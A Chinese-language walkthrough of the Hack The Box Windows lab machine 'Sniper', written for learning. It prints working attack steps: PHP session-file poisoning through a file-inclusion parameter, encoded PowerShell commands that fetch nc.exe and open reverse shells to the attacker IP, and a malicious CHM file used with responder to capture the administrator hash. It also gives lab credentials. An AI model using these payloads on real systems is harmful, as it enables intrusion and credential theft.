好久没做htb的靶机,这次又跟着着大佬的思路去做了一台新的靶机。不同以往的是,这次的靶机Sniper是windows靶机,因此也收获了许多新姿势。就是在中间从github下了不少东西......因为不是假期,具体过程不会像以往那么详细。同时windows靶机下自己不太理解的东西也希望不会给别人带进误区。
有趣的是,这台靶机获得webroot=>user=>root的shell有不同的操作方法,同时具体后面提权时也将有不同的方法进行细节上不同的操作。具体细节将在后面的文章中提到。
攻击机ip: kalilinux 10.10.15.189
靶机ip windows10 10.10.10.151
端口扫描
首先是老套的端口扫描
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 09:20 CST
Nmap scan report for 10.10.10.151
Host is up (0.24s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h02m38s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-01T08:23:29
|_ start_date: N/A
可以看到是一台windows靶机,配有IIS服务。不过开启的几个端口中包含了445端口,这是SMB服务开放的端口。
port 445: Microsoft Windows SMB Server服务
著名的永恒之蓝漏洞也是通过这一端口利用的。当然这里并没有什么渗透点,只是说明我们可以通过smbserver连接到靶机,尝试基本的smb连接的话发现必然是要密码的。
那么还是从80端口入手。访问网页,发现是php网页。IIS+php实际上是非常奇怪的配置,但我们显然可以以此为入手点。
LFI/RFI=>命令执行=>webshell
首先在blog下发现一个语言切换功能,其参数可以文件包含。/blog?lang=blog-en.php
尝试伪协议等常规套路读源码均以失败告终。
简单读windows的文件?lang=/windows/system32/license.rtf
发现有回显。那么现在目的是得到一个web-root的shell,如何操作呢?
此时有一种相对"简单"的办法,利用上面提到的是smb服务。我们再本机kali新建一个smb服务,然后直接rfi进行操作。
RFI的基本操作套路如下
/?lang=\\10.10.14.62\share\foo.php
但是需要注意。想通过SMB达成rfi我们必须修改本机的是smb服务的权限,控制文件夹的权限为777等等,操作起来对我这样的小白而言相对困难了。那么有没有其他方法得到webshell呢?
有,而这也是我学到的不同于常规套路的方法。
回到之前php网页的思路上。有这样的一个细节可以注意:这是一个windows靶机的php服务,其session值被存储在固定的文件夹了。
我们尝试一下随意注册一个用户名,并且记录下session值。通过下面的payload包含session
lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg
此时查看包含的结果,发现是含有用户名的序列化数据。那么类似于之前tp5的session固定存储类的漏洞,我们可以从这里下手,将php代码写入session数据。
首先尝试简单的fuzz,发现用户名过滤了一些关键字。这里直接给出可行的payload及回显
<?=`whoami`?>
lang=/Windows/Temp/sess_1d6bfk00vc159thng1t5q521qg
username|s:13:"nt authority\iusr
利用短标签加反引号直接执行命令。可以看到成功执行whoami。
接下来可以写webshell,也可以直接命令执行。这里直接进行命令执行。
尝试常规的powershell反弹shell失败。之后会发现可能是因为powershell运行在constraintmode的原因。但是不要紧,利用lfi+命令执行我们还有其他方法拿到windows靶机的shell。
首先找到本机的netcat(即平时使用的nc),把它传到windows机上。(当然需要先建好www文件夹,并把本机的nc.exe复制到里面)
payload:
echo 'wget 10.10.15.189/nc.exe -O \windows\temp\exp.exe' | iconv -t utf-16le | base64 -w 0
将准备好的payload进行编码避免过滤。
注册新用户名为
<?=`powershell /enc {your encoded command }`?>
这里使用/enc是powershell对应的解码flag,没使用-enc是为了解决过滤问题。
然后包含对应的用户的session即可执行。
再利用lfi检查是否已经把nc传上去了
很好。那么再进行反弹shell的命令吧。
payload:
echo 'c:\windows\temp\exp.exe 10.10.15.189 8899 -e powershell' | iconv -t utf-16le | base64 -w 0
本机监听8899.浏览器包含,并得到webshell
user shell
拿到webshell后我们首先检查下源码。很快就有所发现
\user\db.php中可以发现一个数据库的密码36mEAhz/B8xQ~2VM
.而且在User中可以发现用户Chris的存在。
下面尝试拿到usershell.
这里将再次用到我们之前使用过的端口转发。不过需要一个工具来帮助我们实现。
https://github.com/jpillora/chisel
从githubrelease处下载chisel的linux与windows版本。分别用于本机与靶机。然后wget把windows版本的传输到靶机上。
kali: chmod +x chisel_linux_amd64
./chisel_linux_amd64 server -p 8000 --reverse
shell: wget http://10.10.15.189/chisel.exe -O chisel.exe
portforwarding: .\chisel.exe client 10.10.15.189:8000 R:5985:127.0.0.1:5985 R:3306:127.0.0.1:3306
开启--reverse
允许我们转发端口。而最后一步我们把5985与3306端口转发到本地。5985对应的是WinRM服务,可用于远程管理。我们把它转发到本地后,可以利用另一个渗透工具evil-winrm进行用户登录。
git clone https://github.com/Hackplayers/evil-winrm
sudo gem install winrm winrm-fs stringio
只需两步即可使用。
然后evil-winrm继续登录,直接本地127.0.0.1即可。因为我们端口已经转发好了。
./evil-winrm.rb -u chris -p '36mEAhz/B8xQ~2VM' -i 127.0.0.1
拿到usershell.
之所以用这么多工具进行user的提权其实是因为这里想要通过其他方法得到usershell要再次反弹shell.
并且操作起来有点麻烦.这里我简单提一下,就是直接通过powershell命令创建一个属于Chris的变量,然后再反弹shell.
$pass = convertto-securestring '36mEAhz/B8xQ~2VM' -asplaintext -force
$cred = new-object system.management.automation.pscredential("sniper\chris", $pass)
invoke-command -computer sniper -scriptblock { whoami } -credential $cred
变量成功创建的话,最后一条命令的回显应该是sniper\chris
然后下面的命令可以重新弹shell,得到usershell
invoke-command -computer sniper -scriptblock { c:\windows\temp\exp.exe 10.10.15.189 1234 -e powershell.exe } -credential $cred
rootshell
那么又到了最后的root提权时间。
在C:\docs中可以发现这样一个有趣的txt
Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it.
And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
Regards,
Sniper CEO.
有意思。似乎在提示我们,传到这个文件夹下的东西可能会被CEO检测。这也就类似xss中我们的payload被检查时可以打到admin的cookie.这里我们是否也能通过可执行文件让administrator检查,拿到administrator的权限呢?
同样在Chris的Downloads目录下我们发现一个instructions.chm文件。拿到windows本机打开,将发现
那么我们应该就是要使用chm文件进行操作了。同时利用的思路也大致清楚了:
1.windows本机下操作生成chm文件
2.上传chm文件,其中payload将打到本机 #类似xss的道理
3.监听本机,得到administrator信息。
简单提下chm文件。其实就是html文件的帮助文件系统。而且想要操作起来很简单,只要在win10电脑的C:\Program Files (x86)\HTML Help Workshop
中即可找到。
当然我们还要从微软官网下载最新的https://www.microsoft.com/en-us/download/details.aspx?id=21138
先创建一个html文件
<html>
<body>
<h1>Hacked by byc_404</h1>
<img src=\\10.10.15.189\htb\23333.jpg/>
</body>
</html>
里面的src资源指向我们本机任意资源,说白了就是让admin触发且我们能收到请求而已。
在windows本机以管理员权限打开hhw.exe,创建test.hpp项目添加我们刚刚的index.html并编译,即可生成一个chm文件。
然后回到本机,先起一个监听
responder -I tun0
wget上传文件到docs文件夹下
wget http://10.10.15.189/test.chm -O exp.chm
很快就能收到请求
这是一串管理员密码的hash.到网站上解码可得管理员密码butterfly!#1
.
然后登尝试登陆。由于开放了445端口,我们直接用smb服务可以直接登录。
当然我没有起smb服务,使用下面github上的python脚本即可替代。
git clone https://github.com/SecureAuthCorp/impacket
pip install .
python psexec.py Administrator@10.10.10.151
成功拿到rootshell.
当然还有类似前面的直接反弹rootshell的方法。因为chm文件甚至可以插入powershell命令,所以我们可以直接生成反弹shell的html.这里直接借用看到的dalao的chm。
或者使用powershell命令生成payload
https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
Out-CHM –Payload "C:windows\temp\exp.exe 10.10.15.189 6666 -e powershell.exe" –HHCPath “C:\Program Files (x86)\HTML Help Workshop”
这样就能直接在administrator检查时反弹到shell.
小结
这次windows靶机的体验还算不错。因为不熟悉的原因接触了不少新知识。有很多细节还没弄明白,但是也学到了不少windows靶机新知识。的确,CTFer 不能总是待在舒适区。国际赛也好,htb靶机渗透也好,都是接触非国内渗透知识的大好途径。毕竟也打了一段时间比赛了,国内的比赛除了大型比赛能有很多新姿势以及新想法学以外,其他的出题思路或者赛事操作都是老生常谈,拘泥于php或者个别trick的泥潭中。这几天尝试了java题,windows题,都算是一种突破常规的尝试吧。希望自己也能成为有想法的CTFer。而不是一个单纯的CTF赛棍.